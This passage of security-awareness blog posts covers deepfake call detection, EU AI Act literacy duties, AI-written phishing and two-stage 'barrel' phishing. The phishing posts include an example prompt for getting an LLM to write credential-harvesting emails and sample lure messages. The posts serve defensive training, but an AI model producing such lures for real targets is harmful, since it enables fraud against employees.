fingerprints and prosodic irregularities in cadence and intonation. According to the 2024 Regula survey, 49 percent of businesses worldwide had experienced deepfake fraud, and detection vendors responded by shipping real-time plugins for enterprise video platforms. Accuracy varies widely: vendor claims of 95 percent detection rates apply to lab datasets of known generator outputs. Against a novel generator the detector has never seen, accuracy can drop below 60 percent, which is why production deployments rarely match vendor benchmarks. ## What vendors offer real-time detection in 2026? **Reality Defender.** Browser-based and API-based detection for video and audio. Claims around 95 percent accuracy on known generators, lower on novel models. Used by major banks for call center fraud screening. **Pindrop.** Voice-focused detection with phoneme-level analysis. Strong on call center use cases. Has integrated with Zoom Contact Center. **Intel FakeCatcher.** Uses photoplethysmography (detecting blood flow through skin tone changes) to identify real humans in video. Claims real-time detection but requires specific lighting conditions. **Microsoft Video Authenticator.** Part of Microsoft responsible AI tooling. Not packaged as a real-time Teams plugin as of 2026. **DuckDuckGoose, Sensity, Truepic.** Smaller players with specific verticals such as identity verification and media forensics. All of these target enterprise buyers, not consumer video call platforms. Pricing starts around $50,000 per year for mid-market deployments and scales with usage. ## Why is real-time detection hard? The fundamental problem is speed. A detector that takes two seconds to analyze a video frame cannot keep up with a 30-fps live call. Four technical constraints make real-time detection difficult in practice. **Computational cost.** Running a deep learning classifier on every frame of video requires GPU resources that most video call infrastructure does not allocate per participant. Lighter classifiers trade accuracy for speed. **Novel generator adaptation.** Detectors trained on 2023 GAN outputs often miss 2025 diffusion-model video. Retraining cycles run behind attacker innovation by weeks or months. **Compression and network artifacts.** Legitimate video compression, packet loss, and codec variations produce artifacts that look similar to deepfake artifacts. False positive rates climb quickly. **Lighting and angle variability.** Physiological detection methods (blink rate, pulse detection) depend on consistent lighting and front-facing camera angles. Real video calls often have neither. The Arup case illustrates the production gap. Multiple people on that call were synthetic. If reliable real-time detection existed at consumer scale, finance teams would have a Zoom plugin that flagged the fraud. No such plugin shipped. Arup implemented internal verification controls after the incident, not a technical detection fix. ## What does real-time detection catch in practice? Real-world performance depends heavily on who generated the deepfake. **Commodity tools** such as DeepFaceLive or consumer face-swap apps are detected reasonably well. These tools produce identifiable artifacts and run on known generators. **Custom models trained on the target** become harder to catch. An attacker who trains a dedicated model on an executive public YouTube appearances can produce output that classifiers miss. **Real-time face-swap with modern GPUs** is unreliable to detect. Latency constraints force fast classifiers that have lower accuracy. **Voice cloning** using VALL-E, ElevenLabs, and consumer text-to-speech services is more tractable than video detection. Phoneme analysis and spectral fingerprinting work better against audio than pixel-based methods against video. The pattern across vendor benchmarks and independent evaluations is consistent: detection tools perform well against the generators they were trained on and poorly against everything else. The gap closes slowly because training data for the latest generators is always limited. ## Why process-based verification still wins Every security team that has reviewed a deepfake incident reaches the same conclusion: detection is a secondary defense. Primary defense is procedural. Callback verification on a known number defeats a deepfake regardless of its quality. A pre-shared code word agreed on a different channel cannot be cloned. An out-of-context question about internal non-public information will trip up an impersonator working from public research. These controls do not require AI. They do not degrade as generators improve. They work on consumer Zoom calls where no detection plugin is installed. They also extend naturally to [vishing calls](/blog/vishing-awareness/), [BEC emails](/blog/bec-training/), and [AI-powered phishing](/blog/ai-powered-phishing/), which attackers increasingly combine with deepfakes in multi-channel campaigns. For the underlying attack mechanics and why deepfakes succeed beyond the technical challenge, see our [deepfake social engineering guide](/blog/deepfake-social-engineering/). ## When is investing in detection worth it? Real-time detection is a reasonable layer for three specific scenarios. **Call centers handling high-volume verification.** Banks, insurance companies, and identity verification services process thousands of calls per day. Automated detection catches a meaningful share of commodity fraud attempts before they reach human agents. **Media and newsroom operations.** News organizations verifying submitted video benefit from forensic detection on pre-recorded content, which is materially more accurate than real-time live call detection. **Executive protection programs.** Organizations with named high-value targets can justify the cost of a detection layer on video calls involving those individuals. The detection does not replace procedural verification; it supplements it. For most organizations, the ROI on a $50,000 to $200,000 annual detection platform does not beat the ROI on training finance, HR, and executive assistants to execute callback verification every time. Detection is harder to scale to behavior. Behavior is cheaper to scale to policy. ## What should organizations do instead? Four actions matter more than buying a detection plugin. 1. **Write callback verification into every financial and credential-related process.** No exceptions, even when the request looks routine. 2. **Issue rotating code words to executives and their assistants.** Update weekly and distribute through a channel separate from the calls being verified. 3. **Train employees to expect deepfakes on live calls.** Show convincing examples so the baseline assumption becomes: the face and voice do not authenticate the speaker. 4. **Build a low-friction reporting path.** Employees who felt a call was "off" but cannot articulate why should have a one-click way to flag it for security review. Interactive practice matters more than any slide deck here. Our [Whaling With A Deepfake exercise](/exercises/whaling-with-a-deepfake/) puts employees in a realistic deepfake video call scenario modeled on the Arup case, so the verification reflex is rehearsed before a real attack lands. ## The honest answer Can AI detect deepfake video calls in real time? Some of it, some of the time, if you buy the right enterprise platform and the attacker uses a generator your platform has seen before. That is not a strategy. The organizations handling deepfake risk well in 2026 treat detection as a useful supplement and procedural verification as the actual defense. Attackers will always have access to generators the classifiers have not seen yet. They will not always have access to your pre-shared code words. --- *Train your team to verify identity when faces and voices cannot be trusted. [Try our free Whaling With A Deepfake exercise](/exercises/whaling-with-a-deepfake/) based on the $25 million Arup fraud, drill an AI-cloned executive voice on the phone with [Deepfake Audio Detection](/exercises/deepfake-audio-detection/), or explore the full [security awareness training catalogue](/catalogue/security-awareness/) for more hands-on exercises.* --- ### AI Literacy Training: Meeting EU AI Act Article 4 Source: https://ransomleak.com/blog/ai-literacy-training/ Most of the EU AI Act applies to a narrow set of high-risk systems. Article 4 is the exception, because it reaches every organization that builds or uses AI, no matter how harmless the tool looks. It has also been in force since 2 February 2025, ahead of the high-risk obligations that land in August 2026. So while teams plan for the heavier duties, the literacy clause is already live and already enforceable. ## What is AI literacy under the EU AI Act? AI literacy training is workforce education that satisfies Article 4 of the EU AI Act, which requires providers and deployers to ensure a sufficient level of AI literacy among staff who operate AI on their behalf. It covers critical evaluation of AI output, verification before action, and disciplined data handling, regardless of a system's risk tier. The word "sufficient" is doing a lot of work in that sentence. The Act does not prescribe a fixed curriculum or a pass mark, so the depth of training has to match the role, the system, and the people affected by the output. A developer fine-tuning a model needs more than a marketer drafting copy with a chatbot. That flexibility cuts both ways. There is no checklist to copy, so you have to design a program you can defend, then keep the proof that you ran it. ## What does Article 4 actually require? Article 4 sets a single obligation in plain language. Providers and deployers must take measures to ensure, to their best extent, a sufficient level of AI literacy among their staff and other people operating AI systems on their behalf. Three details decide how the duty applies to you. The training must account for the technical knowledge, experience, and education of the people involved, the context in which the systems are used, and the persons or groups on whom the systems are used. That means literacy is not one fixed course, it scales with risk and audience. The clause has bite because it pairs with the wider penalty regime. It carries no separate fine of its own, but a literacy gap is the kind of organizational failure regulators read as weak governance, and it undercuts the human oversight that high-risk systems depend on under Article 14. ## Who needs AI literacy training? The duty reaches far wider than a data-science team. It applies to anyone operating an AI system on the organization's behalf, which in practice means most of the workforce once you count everyday tools. The table below maps common roles to the literacy each one needs. The split is not about job titles, it is about what each person can do with AI and what damage a mistake could cause. | Audience | What they operate | Literacy focus | |----------|-------------------|----------------| | General staff | Chatbots, copilots, drafting and summarizing tools | Spotting errors, verifying output, protecting confidential data | | Managers and approvers | AI that supports hiring, scoring, or triage decisions | Human oversight, knowing when to override, escalation | | Technical and AI teams | Models they build, fine-tune, or integrate | Provider duties, data governance, bias, documentation | | Procurement and legal | Vendor AI entering the business | Risk classification, contracts, provider versus deployer roles | Notice that the largest group, general staff, is also the one most organizations forget. They rarely read an AI policy, yet they paste data into tools every day, often the [shadow AI](/blog/shadow-ai/) nobody approved, which is where everyday training matters most. ## What should AI literacy training cover? A defensible program covers four things, and you can map each to a concrete skill rather than a topic on a slide. The goal is judgment under pressure, not recall of regulation numbers. First, critical evaluation. Staff have to treat AI output as a draft, not an answer, which is what the [responsible AI use at work exercise](/exercises/responsible-ai-use-at-work/) trains across realistic workplace scenarios. Second, verification. Generative tools state false claims with total confidence, so people need a habit of checking before they act, the exact reflex built by the [spotting AI misinformation exercise](/exercises/llm-ai-misinformation/). Third, data discipline. Confidential text pasted into a public model can leak, so the [AI literacy essentials exercise](/exercises/ai-literacy-essentials/) covers what is safe to share and what is not. And fourth, governance awareness, so staff know where policy and approval lines sit, which the [AI governance exercise](/exercises/ai-governance-in-your-organization/) makes concrete with a real workflow. ## How is AI literacy different from general security awareness? The two overlap, but they answer different questions. Security awareness teaches people to resist attacks, while AI literacy teaches people to use a tool well even when no attacker is involved. A phishing course trains you to distrust a malicious email. AI literacy trains you to distrust a plausible but wrong answer from a tool you chose to open, which is a subtler and more frequent failure mode. The threat is no longer just an outside attacker. It is the quiet habit of trusting the machine too much. There is real overlap at the edges, and that is useful. Skills like data handling and verification serve both goals, so a single program can satisfy the Article 4 duty and harden the human firewall at the same time, without two separate training tracks. ## What about general-purpose AI models? General-purpose AI raises the literacy stakes because the same model powers dozens of unrelated tasks across the business. A foundation model behind a chatbot, a coding assistant, and a research tool carries the same blind spots into each one. GPAI also brings its own rules. The dedicated obligations for general-purpose models took effect on 2 August 2025, which is why staff who build on top of these models need to understand their limits, the focus of the [general-purpose AI models exercise](/exercises/general-purpose-ai-models/). For roles that approve AI-supported decisions, literacy and oversight become the same skill. Knowing when to override a model is the practical core of Article 14, and the [meaningful human oversight exercise](/exercises/meaningful-human-oversight/) rehearses exactly that moment when the evidence does not match the recommendation. ## How do you evidence AI literacy for an auditor? Article 4 has no certificate, so the burden is on you to show the measures you took. An auditor or supervisory authority will look for a record of who was trained, on what, and when, mapped to the roles and systems in scope. Three artifacts carry most of the weight. A completion log from your LMS, a record of which roles received which depth of training, and a policy that ties the program to your AI inventory. Training that exports as SCORM lands those completions in the system an auditor already trusts. Treat the program as a living control, not a one-time event. New tools and new hires keep arriving, so a literacy baseline that was current last quarter drifts quickly, which is why most teams re-run core modules on a cycle. The good news is that this same evidence does double duty. The completion records you keep for Article 4 also support the human oversight story under Article 14 and the wider governance picture a GDPR audit expects, so one well-kept training log answers several questions at once. ## How RansomLeak delivers AI literacy training RansomLeak turns Article 4 into role-based scenarios instead of a policy document nobody reads. The AI security course runs staff through real decisions, using a tool safely, verifying an output, overriding a bad recommendation, so literacy shows up as behavior, not a quiz score. Coverage spans the whole audience the duty reaches. The [AI security catalogue](/catalogue/ai-security/) carries the literacy, governance, and oversight exercises for general and technical staff, and the [privacy and compliance catalogue](/catalogue/privacy-compliance/) sits next to it for the data-handling duties that AI literacy builds on. Every module exports as SCORM, so completions land in the LMS an auditor will inspect. For the regulation end to end, our [EU AI Act training guide](/compliance/eu-ai-act/) maps each obligation to a specific exercise. The [EU AI Act risk categories guide](/blog/eu-ai-act-risk-categories/) explains the four tiers that decide which heavier duties apply, and the [compliance deadlines guide](/blog/eu-ai-act-compliance-deadlines/) shows where Article 4 sits in the wider timeline. If you want to see how scenario-based training meets the literacy duty, [explore the full feature set](/features/) or [book a walkthrough](/contact-us/) with our team. ## Frequently asked questions ### Is AI literacy training mandatory under the EU AI Act? Yes. Article 4 requires providers and deployers to ensure a sufficient level of AI literacy among staff and others operating AI systems on their behalf, and it has applied since 2 February 2025. The duty reaches every organization using AI, not only those running high-risk systems. ### Who is covered by the Article 4 AI literacy requirement? The requirement covers anyone operating an AI system on the organization's behalf, which usually means most of the workforce. The depth of training must match each person's technical knowledge and the context of use, so general staff, managers, and technical teams each need a different level. ### What is the penalty for failing the AI literacy duty? Article 4 carries no standalone fine. But a literacy gap signals weak governance to a regulator and undermines the human oversight that high-risk systems require, so it raises exposure across the wider penalty regime, where breaches of most obligations can reach up to 15 million euro or 3 percent of global annual turnover. ### When did the AI literacy obligation take effect? The AI literacy obligation under Article 4 became applicable on 2 February 2025, the same date as the Article 5 prohibitions. That makes it one of the earliest live duties in the EU AI Act, well ahead of the high-risk obligations that apply from 2 August 2026. ### How is AI literacy different from a general AI policy? A policy states the rules, while literacy is the skill to follow them under pressure. Article 4 asks for a sufficient level of literacy, so a signed acknowledgment of a document is not evidence on its own. Scenario-based training shows that staff can apply the judgment, which a read receipt cannot. ### Does AI literacy training apply outside the EU? It can. The EU AI Act reaches providers and deployers whose AI output is used inside the EU, so an organization based elsewhere can fall in scope. Many companies apply one literacy baseline across the workforce rather than tracking where each user sits. ## Bottom line Article 4 is the broadest duty in the EU AI Act and the one already in force. It asks every organization using AI to make sure the people behind those tools can evaluate output, verify before acting, and handle data with care. The fix is practical, not legal. Match the training to each role, keep a record an auditor can read, and refresh it as new tools arrive. If you want scenario-based AI literacy training that maps to Article 4 and exports to your LMS, explore the [AI security catalogue](/catalogue/ai-security/) or [talk to our team](/contact-us/). ## Sources - [Regulation (EU) 2024/1689 (AI Act), Article 4 - EUR-Lex](https://eur-lex.europa.eu/eli/reg/2024/1689/oj) - [European Commission: AI literacy and the AI Act](https://digital-strategy.ec.europa.eu/en/policies/ai-literacy) - [European Commission: AI Act regulatory framework](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai) - [EU AI Office](https://digital-strategy.ec.europa.eu/en/policies/ai-office) --- ### AI-Powered Phishing: How LLMs Write Lures Source: https://ransomleak.com/blog/ai-powered-phishing/ A phishing email arrives in your inbox. It references a project you're working on, names your manager correctly, mimics the writing style of your IT department, and asks you to verify your credentials after a "suspicious login from São Paulo." No typos. No awkward phrasing. No generic "Dear Customer" greeting. It reads exactly like a legitimate message from your company. Two years ago, writing this email required a human attacker who spent hours researching your organization, your role, and your communication patterns. Today, an LLM produces it in seconds. Feed it a few LinkedIn profiles and a sample company email, and it generates dozens of personalized variants, each tailored to a different target, in any language. This is why [traditional phishing detection advice](/blog/phishing-detection/) about spotting grammatical errors and suspicious formatting is becoming unreliable. The signals employees were trained to look for are disappearing. ## What is AI-powered phishing? AI-powered phishing is the use of large language models and generative AI tools to create, personalize, and scale phishing attacks. Attackers use LLMs to draft convincing email copy, clone writing styles, generate pretexts tailored to specific targets, and translate lures into any language without the errors that previously served as detection signals. According to the 2025 Verizon Data Breach Investigations Report, phishing remained the initial attack vector in 36% of breaches. SlashNext's 2025 State of Phishing report found a 4,151% increase in AI-generated phishing messages since the public release of ChatGPT, with AI-crafted emails showing click-through rates 14 times higher than traditional mass-produced phishing. The quality improvement isn't incremental. It's a structural shift in how phishing operations work, reducing the skill and time required to produce attacks that pass both human scrutiny and automated email filters. ## How do attackers use LLMs to craft phishing emails? The most immediate impact is quality. Before LLMs, phishing campaigns divided into two tiers. High-effort spear phishing targeted specific individuals with researched, well-written lures. Mass phishing blasted generic templates to thousands of addresses, relying on volume over quality. LLMs collapsed this divide. An attacker with access to any commercially available LLM can now produce spear-phishing-quality emails at mass-phishing scale. The workflow looks like this: **Reconnaissance.** The attacker scrapes the target organization's website, LinkedIn profiles, press releases, and job postings. This gives them names, roles, projects, terminology, and organizational structure. **Prompt construction.** They feed this context to an LLM with instructions like: "Write an email from the IT security team at [Company] to [Employee Name], referencing the [Project Name] migration, requesting credential verification. Match corporate communication style. Include urgency but not pressure." **Variant generation.** The same prompt generates unique emails for every employee in a department. Each email references the recipient's actual role and projects. No two emails are identical, which defeats signature-based email filters that look for duplicate content across messages. **Language adaptation.** For multinational targets, the attacker generates localized versions. The German office gets native German. The Tokyo branch gets natural Japanese. No awkward machine translation artifacts. **Iteration.** If initial emails don't generate clicks, the attacker rephrases the prompt and generates new variants in minutes. A/B testing phishing campaigns became trivial. This workflow doesn't require custom models or technical sophistication. It works with off-the-shelf LLMs, many of which have weak enough safety filters to produce convincing pretexts when prompted indirectly. The specific safety-filter limits and jailbreak patterns attackers rely on are covered in more depth in our guide to [ChatGPT security risks](/blog/chatgpt-security-risks/). ## Why are AI phishing emails harder to detect? Employees have been trained for years to look for specific indicators: spelling mistakes, grammatical errors, generic greetings, awkward phrasing, mismatched sender domains. These signals worked when most phishing emails were written by non-native speakers using templates. LLM-generated phishing eliminates most of these signals: **No language errors.** LLMs produce grammatically correct text in any language. The "Nigerian prince" era of broken English is over for any attacker with access to an AI model. **Contextual accuracy.** When fed reconnaissance data, LLMs reference real projects, real people, and real company events. The email doesn't feel like it came from outside the organization. **Style matching.** LLMs can mimic formal corporate communication, casual Slack-style messages, or technical IT notifications. When the attacker provides sample communications, the model matches tone, vocabulary, and structure closely enough to pass casual inspection. **Unique content.** Each generated email is linguistically unique. Email security tools that rely on pattern matching across messages won't flag them because there's no pattern to match. The content resembles legitimate business communication rather than a mass campaign. **Emotional calibration.** LLMs can tune the urgency level precisely. Not "YOUR ACCOUNT WILL BE DELETED" all-caps panic, but "we noticed some unusual activity and wanted to confirm it was you." Professional, measured, and more believable. This doesn't mean detection is impossible. It means that the detection methods employees have relied on for a decade need updating. The [Phishing Detection guide](/blog/phishing-detection/) still provides useful frameworks, but the emphasis has shifted from spotting errors to verifying requests through independent channels. ## How does AI phishing overlap with business email compromise? [Business email compromise](/blog/bec-training/) (BEC) was already the costliest form of email fraud before AI tools entered the picture. The FBI's Internet Crime Complaint Center reported $2.9 billion in BEC losses in 2023. LLMs make BEC attacks easier to execute and harder to stop. Traditional BEC requires an attacker to compromise or spoof an executive's email account and then write a convincing message to the finance team. The writing step was the bottleneck. Impersonating a CEO's communication style convincingly enough to trigger a wire transfer required studying how the executive writes. LLMs remove that bottleneck. Feed the model a few samples of the CEO's emails (available from past compromises, public statements, or social media posts) and it produces messages that match the executive's voice. Short, direct emails for CEOs known for brevity. Detailed, structured messages for executives who write long-form. The combination becomes more dangerous when paired with [deepfake voice cloning](/blog/deepfake-social-engineering/). The AI-written email creates the initial pretext. A follow-up phone call using the executive's cloned voice confirms the request. The finance team sees a written request and hears verbal confirmation from what sounds like their boss. For a hands-on look at this attack chain, walk through the [Business Email Compromise exercise](/exercises/business-email-compromise/) and the [OneNote Email Attack case study](/exercises/onenote-email-attack/) to see how BEC unfolds in real scenarios. ## What role does personalization at scale play? The defining advantage of AI phishing isn't quality or speed alone. It's the ability to personalize at scale. Before LLMs, personalization required manual effort. An attacker could write a personalized email to ten targets per day if they were fast. Scaling required sacrificing personalization, which is why mass phishing campaigns used generic templates. Now an attacker generates 10,000 personalized emails in an afternoon. Each one references the recipient's role, department, recent company news, and relevant projects. The attacker doesn't even need to read the reconnaissance data manually. They feed the raw data to the LLM and let it extract relevant personalization details automatically. This creates a problem for security teams. Phishing simulations and training programs typically teach employees to distrust generic messages. But when every phishing email is personalized, "Is this message generic?" stops being a useful filter. What still works as a detection signal: **Unusual requests.** The content may be perfectly written, but the request itself is abnormal. A "CEO" asking for gift cards. An "IT team" requesting passwords via email. A "vendor" changing bank details. The behavioral red flags survive even when linguistic red flags disappear. **Urgency pressure.** AI-generated or not, phishing emails still rely on creating time pressure to prevent verification. "Please process this before end of day." "This needs immediate attention." The urgency is a feature of the attack, not a flaw the attacker will optimize away. **Out-of-band verification.** When in doubt, contact the sender through a separate channel. Call them on a known number. Walk to their desk. Message them on a different platform. This single habit defeats the entire AI-personalization advantage. Our [phishing simulation training](/blog/phishing-simulation-training/) guide covers how organizations can build exercises that test for these behavioral signals rather than relying on employees to spot linguistic errors. ## How are attackers using AI for multi-channel phishing? Phishing is no longer an email-only threat. LLMs enable attackers to run coordinated campaigns across multiple channels. **Email plus SMS.** The attacker sends a professional phishing email, then follows up with a [smishing message](/blog/what-is-smishing-cybersecurity/) that references the email: "Did you see the security alert from IT? Here's the direct link to verify your account." The SMS reinforces the email's legitimacy. **Email plus voice.** After the phishing email lands, a [vishing call](/blog/vishing-awareness/) follows. The caller (potentially using a cloned voice) references the email and adds verbal pressure. [Callback phishing](/blog/callback-phishing/) (TOAD) combines email and phone inherently, with the email directing the target to call a fake support number. **LinkedIn plus email.** An attacker creates a fake LinkedIn profile using AI-generated content and images, connects with targets at the organization, then sends phishing emails that reference the LinkedIn connection. The target checks LinkedIn, sees a plausible profile, and trusts the email. This pattern overlaps with the broader [shadow AI](/blog/shadow-ai/) problem, where employees use unsanctioned AI tools that normalize the same generated-content patterns attackers exploit. **Slack and Teams.** In organizations with compromised credentials, attackers use AI to generate internal messages that match the company's communication culture. A well-crafted message in a #general Slack channel from a "new hire" can distribute malicious links to hundreds of employees simultaneously. Each channel reinforces the others. When the email, the text, and the phone call all tell the same story, most people stop questioning it. ## What makes executive targeting with AI phishing different? [Whaling attacks](/blog/what-is-whaling-cybersecurity/) (phishing that specifically targets executives) benefit disproportionately from AI tools. Executives have large public footprints: conference talks, press interviews, social media posts, SEC filings, board memberships. All of this feeds the LLM's personalization engine. An AI-crafted whaling email to a CFO might reference a recent earnings call, mention a specific acquisition target that appeared in trade press, and request a "confidential" wire transfer to a "new counsel" for the deal. The email uses the board chair's name, references their last meeting, and matches the communication style the CFO expects from that person. The [Barrel Phishing technique](/blog/barrel-phishing/) is particularly effective against executives when combined with AI. The first email is benign (an introduction, a scheduling request), establishing the sender as legitimate. The second email contains the payload. LLMs make generating this two-step sequence trivial, and each email reads as professionally as any real executive communication. ## How should organizations adapt their training? If your [security awareness training program](/blog/security-awareness-training-guide/) still focuses primarily on "spot the typo" exercises, it's training employees for yesterday's phishing landscape. Effective training against AI phishing emphasizes behavior, not inspection: **Verify before acting.** Teach employees to verify unusual requests through a separate communication channel. Every time. Even when the email looks perfect. Especially when the email looks perfect. **Question the request, not the writing.** Shift training from "Does this email look suspicious?" to "Is this request something I should fulfill without independent confirmation?" A perfect email asking for credentials is still suspicious if you wouldn't normally receive that request by email. **Simulate realistic attacks.** Phishing simulations using template-based lures don't prepare employees for AI-generated attacks. Simulations need to match the quality and personalization employees will face in real attacks. **Train for multi-channel.** Employees need to recognize that a phishing campaign might touch their email, phone, SMS, and social media. Receiving the "same" request across multiple channels doesn't make it more legitimate. It might mean a coordinated attack. **Update frequently.** AI phishing techniques evolve faster than annual training cycles. Monthly training keeps teams aware of current tactics rather than outdated patterns. Our [phishing simulation exercise](/exercises/phishing/) lets employees interact with realistic phishing scenarios where the traditional red flags do not apply, and the [callback phishing (TOAD)](/exercises/callback-phishing/) and [double barrel phishing](/exercises/double-barrel-phishing/) drills build the habit of verifying requests rather than inspecting grammar. --- *Explore our [Security Awareness training catalogue](/catalogue/security-awareness/) for phishing exercises, or visit the [AI Security catalogue](/catalogue/ai-security/) for hands-on training on LLM-specific risks including [prompt injection](/exercises/clawdbot-prompt-injection/), [excessive AI agency](/exercises/llm-excessive-agency/), and [improper AI output handling](/exercises/llm-improper-output-handling/).* ## Sources - [Verizon 2025 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir/) - [SlashNext 2025 State of Phishing Report](https://slashnext.com/state-of-phishing/) - [FBI Internet Crime Complaint Center 2023 Report](https://www.ic3.gov/AnnualReport/Reports/2023_IC3Report.pdf) - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) --- ### Barrel Phishing vs Phishing Source: https://ransomleak.com/blog/barrel-phishing/ Day one: An email from a new vendor asks if you're the right person to discuss a partnership opportunity. Nothing suspicious. No links. No attachments. You reply confirming your role. Day three: A follow-up arrives with a "proposal document" attached. You open it without hesitation. You already know this sender. This is barrel phishing. The first email had one purpose: make you trust the second one. ## What is barrel phishing? Barrel phishing (also called double-barrel phishing) splits an attack into two or more messages. The first message is clean. Completely harmless. It passes every security filter because there's nothing to catch. Its only job is to get you to reply. Once you do, the attacker has what they need. You've mentally filed them as a known contact. The second message, the one carrying the malicious link or attachment, lands in your inbox with built-in credibility. It references your earlier conversation. It feels like a natural next step. And that's exactly the problem. [Security awareness training](/blog/security-awareness-training-guide/) teaches people to be suspicious of unsolicited emails. Barrel phishing makes the dangerous email feel solicited. ## Barrel phishing vs phishing: what's the difference? Standard [phishing](/exercises/phishing/) plays the numbers. Blast out ten thousand emails, hope someone clicks. The emails are generic, often sloppy, and [detectable if you know what to look for](/blog/phishing-detection/). Barrel phishing is a different animal entirely. | | Standard phishing | Barrel phishing | |--------|------------------|-----------------| | Messages sent | One email | Two or more | | Trust level | Cold contact | You've already replied | | Detection difficulty | Easier (obvious red flags) | Much harder (context feels real) | | Attacker effort | Low | Higher, but worth it | | Success rate | Lower | Significantly higher against trained targets | | Filter evasion | Moderate | High, because the first email is genuinely clean | The tradeoff is effort versus conversion. Standard phishing is cheap and fast. Barrel phishing takes patience, but it works on people who would never fall for a regular [phishing email](/blog/email-security-training/). ## Why does barrel phishing work? ### Your brain sorts senders into safe and suspicious This happens automatically. One innocent exchange, and a sender moves into the "safe" mental folder. Everything they send after that gets less scrutiny. You might catch a cold phishing email on a bad day, but a follow-up from someone you just talked to? That barely registers as a potential threat. ### Email filters have nothing to flag The first barrel phishing email contains no malicious content. Zero. It's a genuine question. Modern email security scans for payloads, suspicious links, known bad domains. None of that exists in the setup email. By the time the second email arrives, the sender-recipient relationship is established, which makes the follow-up less likely to get flagged too. ### Replying creates psychological commitment You've already invested time. You've acknowledged a relationship. Ignoring the follow-up feels rude, inconsistent with your prior action. This is textbook consistency bias, and [social engineering attacks](/blog/social-engineering-attacks/) exploit it constantly. ### It looks exactly like real business Legitimate business relationships start this way every day. Initial outreach, confirmation of interest, detailed follow-up with documents attached. Barrel phishing copies the rhythm perfectly. ## What are common barrel phishing scenarios? These are the pretexts attackers use most. Each one follows the same pattern: a reasonable first email, then a weaponized second one. ### The partnership inquiry *Email 1:* "Hi, I found your company while researching solutions in [industry]. Are you the right person to discuss potential partnership opportunities?" *Email 2:* "Thanks for getting back to me. I've put together a brief overview of what we're thinking. See attached." This is the most common variant. The first email is so generic that almost anyone would respond to it. That's the point. ### The job applicant *Email 1:* "I came across your job posting for [role]. Before applying formally, I wanted to confirm the position is still open and ask a few questions." *Email 2:* "Thanks for the info. I've attached my resume and portfolio. Looking forward to discussing further." HR teams are especially vulnerable here. They're used to receiving resumes from strangers. The two-email pattern actually feels more professional than a cold application. ### The media request *Email 1:* "I'm a journalist covering [topic]. Would [executive name] be available for a brief interview about [company's] approach?" *Email 2:* "Great. I've prepared some background questions in the attached document. Please review before our call." A real journalist would put questions in the email body, not a Word attachment. But in the moment, after you've already coordinated with your exec's calendar, who stops to think about that? ### The vendor introduction *Email 1:* "We're reaching out to companies in [sector] about our new [product/service]. Who handles [function] decisions at your organization?" *Email 2:* "Perfect, thanks for the introduction. I've put together a custom proposal based on our conversation." Notice how the second email says "based on our conversation." You had one email exchange. That's not a conversation. But the framing makes it feel like one. ## How to spot barrel phishing ### Red flags in the first email Not every initial outreach is an attack, obviously. But watch for these signals: - Vague company or personal details that don't hold up under a quick search - Generic industry references that could apply to anyone in your sector - No verifiable phone number, office address, or LinkedIn profile - The sender's domain doesn't match the organization they claim to represent - The question they're asking could have been answered by checking your website ### Red flags in the follow-up - The attachment arrives suspiciously fast for the supposed context - The file type doesn't match the content. A "proposal" that's actually a macro-enabled .docm file? No. - Urgency appears out of nowhere when the first email was casual - Links point to domains unrelated to the sender's organization - They're requesting credentials or sensitive information ### The pattern check Stop and ask: does this progression actually make sense? A real partnership inquiry wouldn't send detailed documents after one email exchange. A genuine vendor would link to their website, not send executable files. A legitimate journalist sends questions in plain text. When the second email escalates faster than the relationship warrants, that's your signal. ## How do you protect your organization against barrel phishing? ### What individuals should do Verify before you engage. Before responding to unsolicited outreach, take 30 seconds to check. Does the company exist? Does the email domain match their website? Can you find this person on LinkedIn? That's usually enough to filter out the fakes. Keep your guard up regardless of history. One prior email does not make someone trustworthy. Apply the same scrutiny to follow-ups that you'd give a cold contact. This is the single hardest habit to build, and the single most important one. Verify attachments through a different channel. If someone sends a document, call them at a number you found independently (not one they provided) to confirm they sent it. Watch for tone shifts. If the urgency, formality, or request type changes noticeably between emails, something is off. ### What organizations should do Train specifically on multi-stage attacks. Most [phishing simulation programs](/blog/phishing-simulation-training/) test employees with single-message threats. That's not enough. Your people need to understand that prior contact does not equal trust. Implement attachment sandboxing. Scan attachments in isolated environments before delivery, regardless of sender reputation. Every time. Use email authentication. DMARC, DKIM, and SPF verify sender domains and make impersonation harder. If you haven't deployed these, start there. Build a verification culture. Make it completely normal to verify requests through secondary channels, even from known contacts. If someone feels awkward double-checking, your culture is the vulnerability. Include barrel phishing in your simulations. Multi-stage test campaigns reveal which employees drop their guard after initial contact. That data is gold for targeted training. ## If you think you've been targeted ### You replied to the first email Don't panic. The first email is almost always clean. But be extremely cautious about anything that follows from this sender. Report the exchange to your security team and don't open any attachments or click links in subsequent messages. ### You opened an attachment from the second email Disconnect from the network immediately. Report to IT security. Don't try to fix anything yourself. Document what you clicked and when. Change passwords from a clean device. ### For security teams responding to a barrel phishing incident Analyze the full email chain to map the attack pattern. Search for similar first-stage emails sent to other employees because the attacker likely cast a wider net. Block the sender domain. Alert staff about the specific pretext used so they can recognize variants. And update your [training materials](/blog/security-awareness-training-guide/) with this real-world scenario, because nothing teaches like a near miss. ## What is the difference between barrel phishing and spear phishing? Barrel phishing is often combined with [spear phishing](/exercises/spear-phishing/), where the attacker researches a specific individual before making contact. They tailor the initial outreach based on your role, your company's recent news, or your LinkedIn activity. Then the follow-up delivers a payload designed specifically for you. This combination is particularly dangerous for executives and employees with access to financial systems or sensitive data. It's also how [BEC attacks](/blog/bec-training/) frequently begin. ## Phishing tactics keep evolving Barrel phishing exists because security awareness improved. When employees learned to distrust unsolicited emails with links, attackers adapted by making their emails solicited first. Simple as that. The next evolution is already happening. Expect three-stage attack chains, multi-channel approaches (email followed by a phone call), and AI-generated pretexts that are harder to distinguish from real outreach. The principle stays the same: trust must be verified, not assumed. Prior interaction is not proof of legitimacy. The best defense is a workforce that understands this instinctively, not just intellectually. --- *Want to see barrel phishing in action without the risk? [Try our free Double Barrel Phishing exercise](/exercises/double-barrel-phishing/) and test whether you'd catch a multi-stage attack before it caught you. Or explore our full [security awareness training catalogue](/catalogue/security-awareness/) for more interactive exercises.* --- ### Business Email Compromise Training Source: https://ransomleak.com/blog/bec-training/ $50 billion. That's what business email compromise (BEC) attacks have stolen since the FBI Internet Crime Complaint Center (IC3) started tracking them. The average loss per incident is $125,000 according to FBI IC3 data, though some organizations lose millions in a single attack. Here's what makes BEC 